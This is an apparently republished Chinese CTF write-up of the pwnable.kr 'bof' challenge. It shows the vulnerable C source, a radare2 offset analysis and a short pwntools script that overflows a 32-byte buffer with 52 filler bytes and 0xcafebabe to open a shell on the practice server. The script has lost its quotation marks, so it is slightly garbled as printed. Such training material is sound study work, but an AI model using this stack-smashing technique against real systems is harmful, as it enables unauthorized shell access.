pwnable.kr第三题:bof

Posted dennyt

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr第三题:bof相关的知识,希望对你有一定的参考价值。

0x000查看源码

技术图片

技术图片

打开bof.c文件

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key)
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe)
 9         system("/bin/sh");
10     
11     else
12         printf("Nah..\\n");
13     
14 
15 int main(int argc, char* argv[])
16     func(0xdeadbeef);
17     return 0;
18 

 

源码分析:

  要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

  使用radare2分析汇编代码:

  技术图片

 

 

      查看main函数

       技术图片

 

 

 查看func

技术图片

 

 

 分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote(pwnable.kr,9000)
pwn_socket.sendline(a*52+\\xbe\\xba\\xfe\\xca)
pwn_socket.interactive()

运行即可获得一个shell:

技术图片

 

 

 

 

 

 

 

 





以上是关于pwnable.kr第三题:bof的主要内容,如果未能解决你的问题,请参考以下文章

黑客练手入门| pwnable.kr—幼儿瓶—01:fd

pwnable.kr aeg

pwnable.kr codemap

pwnable.kr flag

pwnable.kr unlink

pwnable.kr之flag